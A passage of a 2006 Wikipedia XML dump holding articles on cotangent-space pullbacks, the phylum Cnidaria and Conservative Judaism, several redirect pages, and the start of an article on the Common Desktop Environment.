Just as every differentiable map ''f'' : ''M'' &amp;rarr; ''N'' between manifolds induces a linear map (called the ''pushforward'' or ''derivative'') between the tangent spaces
:&lt;math&gt;f_{*}^{}\colon T_p M \to T_{f(p)} N&lt;/math&gt;
every such map induces a linear map (called the ''[[pullback]]'') between the cotangent spaces, only this time in the reverse direction:
:&lt;math&gt;f^{*}\colon T_{f(p)}^{*} N \to T_{p}^{*} M&lt;/math&gt;
The pullback is naturally defined as the dual (or transpose) of the [[pushforward]]. Unraveling the definition, this means the following:
:&lt;math&gt;(f^{*}\theta)(X_p) = \theta(f_{*}^{}X_p)&lt;/math&gt;
where &amp;theta; &amp;isin; ''T''&lt;sub&gt;''f''(''p'')&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;''N'' and ''X''&lt;sub&gt;''p''&lt;/sub&gt; &amp;isin; ''T''&lt;sub&gt;''p''&lt;/sub&gt;''M''. Note carefully where everything lives.

If we define tangent covectors in terms of equivalence classes of smooth maps vanishing at a point then the definition of the pullback is even more straightforward. Let ''g'' be a smooth function on ''N'' vanishing at ''f''(''p''). Then the pullback of the covector determined by ''g'' (denoted ''dg'') is given by
:&lt;math&gt;f^{*}dg = d(g \circ f)&lt;/math&gt;
That is, it is the equivalence class of functions on ''M'' vanishing at ''p'' determined by ''g'' o ''f''.

==Exterior powers==

The ''k''&lt;sup&gt;th&lt;/sup&gt; [[exterior power]] of the cotangent space, denoted &amp;Lambda;&lt;sup&gt;''k''&lt;/sup&gt;(''T''&lt;sub&gt;''p''&lt;/sub&gt;&lt;sup&gt;*&lt;/sup&gt;''M''), is another important object in differential geometry. Vectors in the ''k''&lt;sup&gt;th&lt;/sup&gt; exterior power are called [[differential form|differential ''k''-forms]]. They can be thought of as alternating, [[multilinear map]]s on ''k'' tangent vectors. 
For this reason, tangent covectors are frequently called ''[[one-form]]s''.

==References==
* John M.Lee, ''Introduction to Smooth Manifolds'', (2003)  Springer Graduate Texts in Mathematics 218.
* Jurgen Jost, ''Riemannian Geometry and Geometric Analysis'', (2002) Springer-Verlag, Berlin  ISBN 3-540-4267-2.
* [[Ralph Abraham]] and Jerrold E. Marsden, ''Foundations of Mechanics'', (1978) Benjamin-Cummings, London ISBN 0-8053-0102-X.
* Charles W. Misner, Kip S. Thorne, John Archibald Wheeler, ''Gravitation'', (1970) W.H. Freeman, New York; ISBN 0-7167-0344-0.

[[Category:Differential topology]]</text>
    </revision>
  </page>
  <page>
    <title>Cnidaria</title>
    <id>6621</id>
    <revision>
      <id>42133894</id>
      <timestamp>2006-03-04T01:16:23Z</timestamp>
      <contributor>
        <ip>87.7.204.143</ip>
      </contributor>
      <comment>/* Classification */</comment>
      <text xml:space="preserve">{{cleanup-date|February 2006}}
{{context}}

{{Taxobox
| color = pink
| name = Cnidaria
| image = Sea nettles.jpg
| image_width = 250px
| image_caption = [[Sea nettle]]s, ''Chrysaora quinquecirrha''
| regnum = [[Animal]]ia
| phylum = '''Cnidaria'''
| phylum_authority = [[Berthold Hatschek|Hatschek]], 1888
| subdivision_ranks = Classes
| subdivision = 
[[Coral|Anthozoa]] - [[Coral]]s&amp;nbsp;and [[sea anemone]]s&lt;br/&gt;
[[Cubozoa]] - Sea wasps or box jellyfish&lt;br/&gt;
[[Hydrozoa]] - [[Hydroid]]s, [[hydra (genus)|hydra]]-like animals&lt;br/&gt;
[[Scyphozoa]] - Jellyfish
}}

'''Cnidaria''' (silent c - from [[New Latin]] ''cnida'' [[nematocyst]], fr. [[Greek language|Gk]] ''knide'' &quot;nettle&quot;) is a [[Phylum (biology)|phylum]] containing some 10,000 [[species]] of relatively simple [[animal]]s found exclusively in aquatic, mostly marine, environments. Cnidarians get their name from [[cnidocyte]]s, which are specialized cells that carry stinging [[organelle]]s. The [[coral|corals]], which are important [[reef]]-builders, belong here, as do the familiar [[sea anemone]]s, [[jellyfish]], [[sea pen]]s, [[sea pansies]] and [[sea wasp]]s. The names '''Coelenterata''' and '''Coelentera''' were formerly applied to the group, but as those names included the [[Ctenophore]]s (comb jellies), they have been abandoned. Cnidarians are highly evident in the [[fossil]] records, having first appeared in the [[Precambrian]] era.

The basic body shape of a cnidarian consists of a sac with a [[gastrovascular cavity]], with a single opening that functions as both [[mouth]] and [[anus]]. It has [[symmetry (biology)#Radial symmetry|radial symmetry]], meaning that whichever way it is cut along its central axis, the resulting halves would always be mirror images of each other. The cnidarian is composed of two layers of tissue, known as the ''ectoderm'' and ''endoderm'' (or ''gastroderm''), with a gelatinous ''mesoglea'' in between them containing only scattered cells. Thus the organisms are considered to be [[diploblastic]], though the mesoglea may be homologous with the [[germ layer#Mesoderm|mesoderm]] in other animals.

Although Cnidarians are classified to be organized on the tissue level, they actually contain [[gonads]] as their only [[Organ (anatomy)|organs]]. Their movement is coordinated by a decentralized [[nerve]] net and simple receptors. Several free-swimming Cubozoa and Scyphozoa possess rhopalia, complex sensory structures that can include image-forming eyes with lenses and retinas [http://images.google.com/imgres?imgurl=http://www.ucmp.berkeley.edu/cnidaria/images/CuboEye.gif&amp;imgrefurl=http://www.ucmp.berkeley.edu/cnidaria/cubozoamm.html&amp;h=81&amp;w=90&amp;sz=7&amp;tbnid=MPto74v3bc69LM:&amp;tbnh=66&amp;tbnw=74&amp;hl=en&amp;start=4&amp;prev=/images%3Fq%3Dcnidaria%2Beyes%26svnum%3D10%26hl%3Den%26lr%3D%26sa%3DG], and a gravity-sensing statolith comparable in function to the otolith of the vertebrate inner ear. [[Respiration (physiology)|Respiration]] takes place by diffusion of [[oxygen]] directly through their tissues without specialized structures like [[gill]]s, [[trachea]]e or [[lung]]a. This is made possible by their small or flattened bodies. Tentacles surrounding the mouth contain nematocysts, specialized stinging cells. The ability to [[sting (biology)|sting]] is what gives cnidarians their name (Greek ''cnidos'', &quot;nettle&quot;).

Cnidarians employ these stinging cnidocysts to immobilize, kill, or entangle their prey. The nematocysts are the cnidarians' main form of offence or defense and function by a chemical or physical trigger that causes the specialized cell to eject a barbed and poisoned hook that can stick into, ensnare, or entangle prey. Dead or paralyzed prey are pushed into the cnidarian's oral opening by the tentacles. Digestion occurs in the [[gastrovascular cavity]], and all undigested food, waste material, or other secretions must exit the cnidarian through the oral opening.

There are four main classes of Cnidaria:

* Class [[Coral|Anthozoa]] (anemones, corals, etc.)
* Class [[Hydrozoa]] ([[Portuguese Man o' War]], [[Obelia]], etc.)
* Class [[Scyphozoa]] (jellyfish)
* Class [[Cubozoa]] (box jellies)

Traditionally the hydrozoans were considered to be the most primitive, but evidence now suggests the anthozoans were actually the earliest to diverge. Sea anemones, sea fans and corals are in this class. The non-anthozoan classes may be grouped into the subphylum '''Medusozoa'''.

Theoretically, members of Cnidaria have life-cycles that alternate between asexual [[polyp]]s and sexual, free-swimming forms called ''[[medusa (biology)|medusae]]''. In reality however there is a vast variation within the life-cycles of cnidarians. Within group [[Coral|Anthozoa]], the medusal stage is virtually non-existent; the [[larva]], once fusing with the substratum and developing into the polyp stage, grows [[benthic]] or sessile, meaning it no longer metamorphosises into the medusal stage. Among the [[Scyphozoa]] and [[Cubozoa]], the medusae are the dominant form in the life-cycle, while the polyps are in turn reduced or absent. Medusae are extremely varied and range in size from a few millimeters to over 30 metres (with tentacles). The [[Hydrozoa]] are intermediate, with significant medusoid and polyp forms.

The [[Siphonophora]] deserve special mention. These hydrozoans form colonies that show varying degrees of specialization, so that in extreme cases individuals function essentially as organs of the whole.

A small group of microscopic [[parasite]]s, the [[Myxozoa]], have been considered to be extremely reduced cnidarians. These attach themselves to their hosts by polar filaments similar to the stinging threads of cnidocysts. Their exact placement within the phylum is uncertain, however, and new studies suggest they may have developed from some other group of animals. Usually they are placed in their own phylum.

Finally, the extinct [[Conulariida]] may or may not be members of the Cnidaria.

Obsolete names for groups of cnidarians include '''Acalephae''' (Hydrozoa plus Scyphozoa, based on the shared character of stinging cells; however this character is no longer thought to be primitive)



== Classification ==



*Superdomain: [[Biota]]
**Domain: [[Eucytota]] ([[Eukarya]])
***Subdomain: [[Opistokonta]]
****Kingdom: [[Metazoa]] ([[Animalia]])
*****Subkingdom: [[Eumetazoa]]
******Branch: [[Radiata]]
*******Infrakingdom: [[Coelenterata]]
********'''Phylum: Cnidaria'''
**********Class: Cyclozoa †
*********'''Subphylum: [[Anthozoa]]'''
**********Class: [[Anthozoa]]
***********Subclass: [[Zoantharia]]
************Order: Kilbuchophyllida †
************Order: Antipatharia 
************Order: Ceriantharia 
************Order: Zoanthidea 
************Order: Ptychodactiaria 
************Order: Actiniaria  
************Order: Cothoniida †
************Order: Tabulata †
************Order: Heliolitida †
************Order: Rugosa †
************Order: Heterocorallida †
************Order: Scleractinia 
************Order: Corallimorpharia 
************Order: Scleractinia 
***********Subclass: [[Alcionaria]]
************Order: Helioporacea  
************Order: Stolonifera  
************Order: Alcyonacea
************Order: Gorgonacea  
************Order: Pennatulacea  
*********'''Subphylum: [[Medusozoa]]'''
**********Class: [[Polypodiozoa]] 
**********Class: [[Hydrozoa]]
************Order: Anthoathecatae
************Order: Siphonophora  
************Order: Leptothecatae 
************Order: Limnomedusae 
************Order: Trachylina    
**********Class: [[Scyphozoa]]
************Order: Conchopeltida †
***********Subclass: Corumbellata †
***********Subclass: Scyphomedusae 
************Order: Coronatae 
************Order: Semaeostomeae  
************Order: Rhizostomeae 
**********Class: [[Staurozoa]]
************Order: Stauromedusae
************Order: Conulatae †
**********Class: [[Cubozoa]]
************Order: Cubomedusae

==External links==
{{wikispecies|Cnidaria}}
{{Wikibookspar|Dichotomous Key|Cnidaria}}
{{commonscat|Cnidaria}}
* [http://www.ucihs.uci.edu/biochem/steele/default.html A Cnidaria homepage maintained by University of California, Irvine]
* [http://tolweb.org/tree?group=Cnidaria&amp;contgroup=Animals Cnidaria page at ''Tree of Life'']
* [http://www.paleoportal.org/fossil_gallery/taxon.php?taxon_id=55 Fossil Gallery: Cnidarians]
* [http://www.oceanicresearch.org/cnidarian.html Wonders of the Seas: Cnidarians]

[[Category:venomous animals]]
[[Category:Cnidarians|*]]

{{Link FA|de}}
{{Link FA|uk}}

[[bg:Мешести]]
[[ca:Cnidaris]]
[[cs:Žahavci]]
[[da:Nældecelledyr]]
[[de:Nesseltiere]]
[[es:Cnidaria]]
[[eo:Knidulo]]
[[fr:Cnidaria]]
[[ko:자포동물]]
[[io:Knidulo]]
[[it:Cnidaria]]
[[he:צורבים]]
[[la:Cnidaria]]
[[lt:Duobagyviai]]
[[mk:Жаркари]]
[[nl:Neteldieren]]
[[nds:Cnidaria]]
[[ja:刺胞動物]]
[[pl:Parzydełkowce]]
[[pt:Cnidaria]]
[[sl:Ožigalkarji]]
[[sr:Жарњаци]]
[[fi:Polttiaiseläimet]]
[[sv:Nässeldjur]]
[[uk:Кишковопорожнинні]]</text>
    </revision>
  </page>
  <page>
    <title>Coelenterates</title>
    <id>6622</id>
    <revision>
      <id>15904748</id>
      <timestamp>2002-07-26T03:50:23Z</timestamp>
      <contributor>
        <username>Malcolm Farmer</username>
        <id>135</id>
      </contributor>
      <minor />
      <comment>orphan, redirecting-&gt;cnidaria, which includes the minimal content that was here</comment>
      <text xml:space="preserve">#REDIRECT[[Cnidaria]]</text>
    </revision>
  </page>
  <page>
    <title>Conservative Judaism</title>
    <id>6623</id>
    <revision>
      <id>41835742</id>
      <timestamp>2006-03-02T01:30:07Z</timestamp>
      <contributor>
        <ip>146.115.64.163</ip>
      </contributor>
      <text xml:space="preserve">{{Jew}}

'''Conservative Judaism''', also known as '''Masorti Judaism''', is a modern denomination of [[Judaism]] that arose in [[United States]] in the early 1900s. Conservative Judaism is characterized by:

* A commitment to following [[Halakha|traditional Jewish laws and customs]]
* A deliberately non-[[fundamentalist]] teaching of [[Jewish principles of faith]].
* A positive attitude toward modern culture
* An acceptance of both traditional rabbinic modes of study and modern scholarship and critical text study when considering Jewish religious texts.

Conservative Judaism has its roots in the school of thought known as Positive-Historical Judaism, developed in 1850s [[Germany]] as a reaction to the more liberal religious positions taken by [[Reform Judaism]].  The term ''conservative'' was meant to signify that Jews should attempt to ''conserve'' Jewish tradition, rather than reform or abandon it, and does not imply the movement's adherents are [[conservative (politics)|politically conservative]].  Because of this potential for confusion, a number of Conservative rabbis have proposed renaming the movement, and outside of the [[United States of America]] it is known as ''Masorti'' Judaism (Hebrew for &quot;Traditional&quot;). 

== History ==
Like [[Reform Judaism]], the Conservative movement developed in Europe and the United States in the 1800s, as Jews reacted to the changes brought about by the [[The Enlightenment|Enlightenment]] and [[Jewish emancipation]].  In Europe the movement was known as Positive-Historical Judaism, and it is still known as &quot;the historical school.&quot;  

Positive-Historical Judaism, the intellectual forerunner to Conservative Judaism, was developed as a school of thought in 1850s [[Germany]] by a number of thinkers, including [[Rabbi]] [[Zecharias Frankel]]. Frankel rejected the positions taken by [[Reform Judaism]] as a deviation from traditional Judaism. Frankel became the head of the Jewish Theological Seminary of [[Wrocław|Breslau, Germany]].  The seminary taught that [[halakha|Jewish law]] was not static, but rather has always developed in response to changing conditions.  He called his approach towards Judaism &quot;Positive-Historical,&quot; which meant that one should have a positive attitude towards accepting Jewish law and tradition as [[normative]], yet one should be open to developing the law in the same fashion that it has always historically developed.

Frankel did not attempt to establish a separate movement; he was interested in promoting a school of thought.  At the time, he was seen by more religiously liberal Jews as not very different from the neo-Orthodox (later: &quot;[[Modern Orthodox]]&quot;) Jews, but to many in [[Orthodox Judaism|Orthodoxy]], Frankel's openness to modern methods of historical scholarship put him beyond the pale of Orthodoxy, and he was thus associated with the more radical [[Reform Judaism|Reform movement]].

In 1902, [[Solomon Schechter]] reorganized the [[Jewish Theological Seminary]] in New York City and made it into a flagship institution of Conservative Judaism.  In the USA the movement became known as Conservative Judaism; later it became known as [[Masorti]] (traditional) Judaism outside of the USA. In the 1990s, the University of Judaism in Los Angeles established the Ziegler School of Rabbinic Studies as an independent rabbinical school. The organizations of Conservative Judaism are linked through the Leadership Council of Conservative Judaism, which meets quarterly.

== Beliefs ==
For much of the movement's history, Conservative Judaism avoided publishing systematic explications of the [[Jewish principles of faith]]. This was a conscious attempt to hold together a wide coalition. This concern largely became a non-issue after the left-wing of the movement seceded in 1968 to form the Reconstructionist movement, and after the right-wing seceded in 1985 to form the [[Union for Traditional Judaism]].

In 1988, the leadership council of Conservative Judaism finally issued an official statement of belief, ''Emet Ve-Emunah: Statement of Principles of Conservative Judaism''. In accord with classical rabbinic Judaism, it agrees that Jews must hold certain beliefs. However, it notes that the Jewish community never developed any one binding catechism. Thus, it is difficult if not impossible to pick out only one person's formal creed and hold it as binding.  Instead, ''Emet Ve-Emunah'' allows for a range of Jewish beliefs that Conservative rabbis believe are authentically Jewish and justifiable.

Thus, ''Emet Ve-Emunah'' affirms belief in God and in God's revelation of Torah to the Jews; however it also affirms the legitimacy of multiple interpretations of these issues. [[Atheism]], [[Trinity|Trinitarian]] views of God, and [[polytheism]] are all ruled out. Conservative Judaism explicitly rejects [[relativism]], yet also rejects literalism and [[fundamentalism]].

=== God ===
Conservative Judaism affirms [[monotheism]].  Its members have varied beliefs about the nature of [[God]], and no one understanding of God is mandated. Among the beliefs affirmed are: [[Maimonides|Maimonidean rationalism]];  [[Kabbalah|Kabbalistic mysticism]]; [[Hasidic Judaism|Hasidic]] panentheism (neo-Hasidism, Jewish Renewal); limited theism (as in [[Harold Kushner]]'s &quot;When Bad Things Happen to Good People&quot;); organic thinking in the fashion of Whitehead and Hartshorne, a.k.a. [[process theology]] (such as Rabbis Max Kaddushin and [[William E. Kaufman]]).

[[Mordecai Kaplan]]'s religious naturalism ([[Reconstructionist Judaism]]) used to have an influential place in the movement, but since Reconstructionism developed as an independent movement, this influence has waned.  Papers from a recent [[Rabbinical Assembly]] conference on theology were recently printed in a special issue of the journal ''Conservative Judaism'' (Winter 1999);  the editors note that Kaplan's naturalism seems to have dropped from the movement's radar screen.

=== Revelation ===
In agreement with traditional Judaism, Conservative Judaism holds that God inspired [[prophet]]s to write the Torah (five books of Moses) and the Hebrew Bible. However, for theological reasons most Conservative Jews reject the traditional Jewish idea that God dictated the words of the Torah to Moses at Mount Sinai in a verbal [[revelation]]. Divine revelation, however, while held to be real, is generally believed to be non-verbal -- that is, the revelation did not include the particular words of the divine texts. Conservative Judaism allows its adherents to hold to a wide array of views on the subject of revelation.

Conservative Jews are comfortable with the findings of [[higher criticism]], including the [[documentary hypothesis]], the idea that the current text of the Torah was redacted together from several earlier sources. They go further, and the movement's rabbinic authorities and official Torah commentary (''Etz Hayim: A Torah Commentary'') affirm that Jews should make use of modern critical literary and historical analysis to understand how the Bible developed. These views are rejected as heretical by most of Orthodox Judaism, but are accepted as valid by all non-Orthodox Jewish movements.

Conservative Jews reconcile these beliefs by holding that God, in some way, did reveal his will to Moses and later prophets. However, records of revelation may have been passed down through the centuries in many ways, including written documents, folklores, epic poems, etc. These records were eventually redacted together to form the Torah, and later on, the other books of the Tanakh [Hebrew Bible].

=== Jewish law ===
Conservative Jews view the laws and customs from the various law codes as the basis for [[Halakha|Jewish law]]. However it holds that &quot;however great the literary value of a code may be, it does not invest it with infallibility, nor does it exempt it from the student or the Rabbi who makes use of it from the duty of examining each paragraph on its own merits, and subjecting it to the same rules of interpretation that were always applied to Tradition&quot;. ([[Solomon Schechter]].)

Conservative Judaism holds that [[halakha]] (Jewish law) is normative, i.e. that halakha is something that Jewish people must strive to actually live by in their daily lives. This would include the laws of  [[Shabbat]] (the Jewish Sabbath); the laws of [[kashrut]] (keeping kosher); the practice of thrice daily [[Jewish services|prayer]]; observance of the Jewish holidays and life-cycle events.

At the same time, Conservative Jews find it repugnant to coerce anyone into following religious practices.  Thus, Conservative Judaism holds that Jewish law is normative, but not enforced.  That is, Jewish law encompasses actions that Jews actually ought to be following in their daily lives, even though there is no enforcement of these rules. (See also, the various positions within contemporary Judaism as regards [[Halakha#How_Halakha_is_viewed_today | Halakha]] and [[Talmud#The_Talmud_in_modern-day_Judaism | the Talmud]].)

A number of studies have shown that there is a large gap between what the Conservative movement teaches and what most of its laypeople have incorporated into their daily lives. In practice, the majority of people who have come to join Conservative synagogues only follow all these laws rarely. Most do follow most of the laws some of the time, but only a minority follow most or all of the laws all of time. There is a substantial committed core, consisting of the lay leadership, [[rabbi]]s, cantors, educators, and those who have graduated from the movement's religious day schools and [[summer camp]]s, that do take Jewish law very seriously. Recent studies have shown an increase in the observance of members of the movement.

Conservative Jews believe that movements to its left, such as [[Reform Judaism|Reform]] and [[Reconstructionist Judaism]], have erred by rejecting the traditional authority of [[Halakha|Jewish law and tradition]].  They believe that the [[Orthodox Judaism|Orthodox Jewish]] movements, on the theological right, have erred by slowing down, or stopping, the historical development of Jewish law:  &quot;Conservative Judaism believes that scholarly study of Jewish texts indicates that Judaism has constantly been evolving to meet the needs of the Jewish people in varying circumstances, and that a central halakhic authority can continue the halakhic evolution today.&quot; (Soc.Culture.Jewish Usenet Newsgroup FAQ)

There is a separate article which has details on [[Conservative responsa]], the legal opinions and rulings of Conservative and Masorti Judaism. Conservative responsa are written by the Rabbinical Assembly's [[Committee on Jewish Law and Standards]].

=== Views of other Jewish denominations ===
Conservative Judaism holds that Orthodox Judaism is a valid and legitimate form of 
rabbinic Judaism and respects the validity of its rabbis. Conservative Judaism holds that both Reform and Reconstructionist Judaism have made major breaks with the historic definition of Judaism, both by their rejection of Jewish law as normative, and by their unilateral acts in creating a separate definition of Jewishness (i.e. the Reform movement's ruling in 1982, accepting patrilineal descent as an additional way of defining Jewishness). Despite the Conservative movement's disagreement with the more liberal movements, it does respect the right of Reform and Reconstructionist Jews to interpret Judaism in their own way. Thus the Conservative movement recognizes the right of Jews to form such denominations, and recognizes their clergy as rabbis, but often does not accept their specific decisions as valid. 

The Conservative position is that Orthodoxy had deviated from historical Judaism through an excessive concern with recent codifications of Jewish law. The Conservative movement consciously rejects the Orthodox understanding of Jewish history, which entails near-total deference to seemingly infallible rabbis, and instead holds that a more fluid model is both necessary, and theologically and historically justifiable. The Conservative movement makes a conscious effort to use historical sources to determine what kind of changes to Jewish tradition have occurred, how and why they occurred, and in what historical context. With this information they believe that can better understand the proper way for rabbis to interpret and apply Jewish law to our conditions today. See also under [[Modern_Orthodox_Judaism#Conservative_Judaism|Modern Orthodox Judaism]].

[[Mordecai Waxman]], a leading figure in the Rabbinical Assembly, writes that &quot;Reform has asserted the right of interpretation but it rejected the authority of legal tradition. Orthodoxy has clung fast to the principle of authority, but has in our own and recent generations rejected the right to any but minor interpretations. The Conservative view is that both are necessary for a living Judaism. Accordingly, Conservative Judaism holds itself bound by the Jewish legal tradition, but asserts the right of its rabbinical body, acting as a whole, to interpret and to apply Jewish law.&quot; (Mordecai Waxman ''Tradition and Change: The Development of Conservative Judaism'')

== Movement organization ==
In the more limited sense of the term, Conservative Judaism is a unified movement; the international body of Conservative rabbis is the [[Rabbinical Assembly]] (RA), the organization of synagogues is the [[United Synagogue of Conservative Judaism]] (USCJ), and the primary seminaries are the [[Jewish Theological Seminary]] of America (JTS) in New York City and the Ziegler School of Rabbinic Studies in Los Angeles. Conservative Judaism outside the USA is often called Masorti Judaism; Masorti rabbis belong to the Rabbinical Assembly.

Other seminaries include the [http://www.uj.edu University of Judaism] in Los Angeles, California; the Marshall Meyer Seminario Rabbinico Latinoamericano in Argentina; and Machon Schechter (in [[Jerusalem]].)

Many Jews both inside and outside of this formal Conservative movement identify Conservative Judaism as a worldview which is significantly larger than tha USCJ and RA.  Sociologically and religiously, there is social and religious overlap between the USCJ, the Union for Traditional Judaism, much of the [[Havurah movement]], and the growing number of synagogues which are not affiliated, but which identify themselves as ''Traditional-Egalitarian''.  Rabbis trained at JTS and the Ziegler School often serve these synagogues and chavurot, and members of these synagogues and chavurot often pray at, or are members of, USCJ synagogues.

Rabbi Ismar Schorsch, chancellor of JTS, claims that the Conservative movement, which he is a primary voice of, is the primary source for the religious energy of post-denominationalism. He points to Hadar as an example.

Examples of Traditional-Egalitarian chavurot that are identified as Conservative include ''Kehilat Hadar'', in [[Manhattan]], whose membership is largely Conservative.  [[Ismar Schorsch]], Chancellor of JTS, has said that &quot;The Hadar movement could not be mistaken for anything but a Conservative synagogue: It's fully egalitarian and seriously Jewish. The ritual is neither Reform nor Orthodox; it's quintessentially Conservative.&quot; (''Beyond Dogma'')

== Jewish identity ==
Conservative Judaism maintains the Rabbinic understanding of Jewish identity:  A Jew is someone who was born to a Jewish mother, or who converts to Judaism in accordance with Jewish law and tradition. Conservatism thus rejects patrilineal descent, which is accepted by the Reform movement. Conservative Rabbis are not allowed to perform intermarriages (marriages between Jews and non-Jews). However, the Leadership Council of Conservative Judaism has a more nuanced understanding of this issue than does Orthodoxy. In a press release it has stated:

:&quot;In the past, intermarriage...was viewed as an act of rebellion, a rejection of Judaism. Jews who intermarried were essentially excommunicated. But now, intermarriage is often the result of living in an open society....If our children end up marrying non-Jews, we should not reject them. We should continue to give our love and by that retain a measure of influence in their lives, Jewishly and otherwise. Life consists of constant growth and our adult children may yet reach a stage when Judaism has new meaning for them. However, the marriage between a Jew and non-Jew is not a celebration for the Jewish community. We therefore reach out to the couple with the hope that the non-Jewish partner will move closer to Judaism and ultimately choose to convert.  Since we know that over 70 percent of children of intermarried couples are not being raised as Jews...we want to encourage the Jewish partner to maintain his/her Jewish identity, and raise their children as Jews.&quot;

== Important figures ==
*[[Elliot N. Dorff]] Professor of philosophy at the Univ. of Judaism professor, theologian, member of the [[Committee on Jewish Law and Standards]]
* [[Bradley Shavit Artson]] Dean of the Ziegler School of Rabbinic Studies at the University of Judaism, author, theologian, and public speaker
*[[Louis Finkelstein]] Talmud scholar
*[[Zecharias Frankel]] - founder of positive-historical Judaism.
*[[Neil Gillman]] Theologian, JTS Philosophy Professor
*[[Louis Ginzberg]] Talmud scholar and halakhic expert, early member of the [[Committee on Jewish Law and Standards]]
*[[Robert Gordis]] Rabbi, Theologian, Educator
*[[Judith Hauptman]] JTS Talmud scholar
*[[Jules Harlow]] - Primary liturgist of the Conservative movement
*[[Abraham Joshua Heschel]] Theologian and social activist
*[[Louis Jacobs]] - Rabbi, founder of Masorti Judaism in the [[United Kingdom]]
*[[David Lieber]]President Emeritus of the University of Judaism, past President of the Rabbinical Assembly, Editor of the Etz Hayim Humash
*[[Isaac Klein]] Rabbi, expert in Jewish law, early member of the [[Committee on Jewish Law and Standards]]
*[[Saul Lieberman]] Talmud scholar at JTS
*[[Joel Roth]] JTS Talmud scholar, member of the [[Committee on Jewish Law and Standards]]
*[[Solomon Schechter]] - Researcher, early leader of JTS, creator of the [[United Synagogue of Conservative Judaism]]
*[[Mathilde Roth Schechter]] - Founder of the Women's League of Conservative Judaism and of Hadassah
*[[Ismar Schorsch]] - Chancellor of the Jewish Theological Seminary of America
*[[Gordon Tucker]] - Former Dean of Jewish Theological Seminary rabbinical school, part-time faculty member at JTS and member of [[Committee on Jewish Law and Standards]], Senior Rabbi of Temple Israel Center in White Plains, NY
*[[David Wolpe]]  Rabbi --  author, public speaker and rabbi in Los Angeles, California.

== External links ==
* [http://www.shamash.org/lists/scj-faq/HTML/rl/jcu-index.html Additional reading]
* [http://groups.yahoo.com/group/cjews/ CJews: Conservative Judaism open discussion forum]
* [http://www.shamash.org/lists/scj-faq/HTML/faq/02-03.html An intro to Conservative Judaism]
* [http://www.rabbinicalassembly.org/ The Rabbinical Assembly]
* [http://www.uscj.org/ The United Synagogue of Conservative Judaism]
* [http://www.jtsa.edu/ The Jewish Theological Seminary of America]
* [http://www.uj.edu/ University of Judaism]
* [http://www.masorti.org/ The Masorti Movement]
* [http://www.uscj.org/intmar/ A Conservative Jewish view on Intermarriage]
* [http://members.tripod.com/~ramotzion/principles.html Principles of Masorti Judaism]
* [http://www.jtsa.edu/about/cj/sacredcluster.shtml The Core Principles of Conservative Judaism]
* [http://www.masorti.org.uk/whatsmas.htm What is Masorti Judaism?]
* [http://www.uscj.org/scripts/uscj/paper/Article.asp?ArticleID=435 Formulating Jewish Law For Our Time]
* [http://learn.jtsa.edu/topics/diduknow/jrpguide/ A Guide to Jewish Religious Practice - Official work on Jewish law]
* [http://www.shamash.org/lists/scj-faq/HTML/faq/08-02.html The role of women in Conservative Judaism]

== References ==
* ''Conservative Judaism: Our Ancestors To Our Descendants'' (Revised Edition), Elliot N. Dorff, United Synagogue  New York, 1996
* ''The Conservative Movement in Judaism: Dilemmas and Opportunities'', Daniel J. Elazar, Rela Mintz Geffen, SUNY Press, 2000
* ''Conservative Judaism: The New Century'', Neil Gillman, Behrman House 1993
* ''Halakha For Our Time: A Conservative Approach To Jewish Law'', David Golinkin, United Synagogue, 1991
* ''A Guide to Jewish Religious Practice'' Isaac Klein, JTS Press, New York, 1992
* ''Conservative Judaism in America: A Biographical Dictionary and  Sourcebook'' Pamela S. Nadell, Greenwood Press, NY 1988
* ''Emet Ve-Emunah: Statement of Principles of Conservative Judaism'', Ed. Robert Gordis, JTS, New York, 1988
* ''Etz Hayim: A Torah Commentary'', Ed. David Lieber, [[Chaim Potok]] and [[Harold Kushner]], The Jewish Publication Society, NY, 2001

=== Traditional-Egalitarian Judaism ===
* [http://www.kehilathadar.org/Aboutus/jpost02-11-05.html Beyond Dogma, Jerusalem Post Magazine]
* [http://www.jewishjournal.com/home/preview.php?id=14761 Can anyone save Conservative Judaism from itself? The Jewish Journal of Greater Los Angeles]

=== Observance of Conservative Jews ===
* [http://www.forward.com/issues/2002/02.03.01/news6.html Conservative Leader Takes Heat for Standards Stance, Forward, March 2002]

* ''Eight Up: The College Years,'' Survey of Conservative Jewish youth from middle school to college. Ariela Keysar and Barry Kosmin
* [http://www.uscj.org/intmar/trends.html Encouraging Trends Among Conservative Synagogue Members, Alan Silverstein, USCJ]


[[Category:Conservative Judaism|*]]

[[ar:يهودية محافظة]]
[[de:Konservatives Judentum]]
[[fr:Mouvement Massorti]]
[[he:יהדות קונסרבטיבית]]
[[nn:Konservativ jødedom]]
[[sv:Konservativ judendom]]</text>
    </revision>
  </page>
  <page>
    <title>Confererations of Germanic tribes</title>
    <id>6624</id>
    <revision>
      <id>38349502</id>
      <timestamp>2006-02-05T19:50:02Z</timestamp>
      <contributor>
        <username>Khoikhoi</username>
        <id>657950</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Confederations of Germanic tribes]]</text>
    </revision>
  </page>
  <page>
    <title>Catholcism</title>
    <id>6625</id>
    <revision>
      <id>15904751</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Catholicism]]
</text>
    </revision>
  </page>
  <page>
    <title>CDE</title>
    <id>6626</id>
    <revision>
      <id>39244434</id>
      <timestamp>2006-02-11T20:32:26Z</timestamp>
      <contributor>
        <username>Redquark</username>
        <id>104872</id>
      </contributor>
      <comment>nothing to disambiguate</comment>
      <text xml:space="preserve">#REDIRECT [[Common Desktop Environment]]</text>
    </revision>
  </page>
  <page>
    <title>Common Desktop Environment</title>
    <id>6627</id>
    <revision>
      <id>39286834</id>
      <timestamp>2006-02-12T02:37:38Z</timestamp>
      <contributor>
        <ip>70.160.28.101</ip>
      </contributor>
      <text xml:space="preserve">[[Image:Solaris8-cde.png|thumb|right|200px|CDE on Unix (Solaris 8)]]
[[Image:DECwindows-openvms-v7.3-1.png|thumb|right|200px|DECwindows CDE on OpenVMS 7.3-1]]

The '''Common Desktop Environment''' ('''CDE''') is a [[Proprietary software|proprietary]] [[desktop environment]] for [[Unix|UNIX]], based on the [[Motif (widget toolkit)|Motif]] [[widget toolkit]]. It is also the standard desktop environment on [[Hewlett-Packard|HP]] [[OpenVMS]].

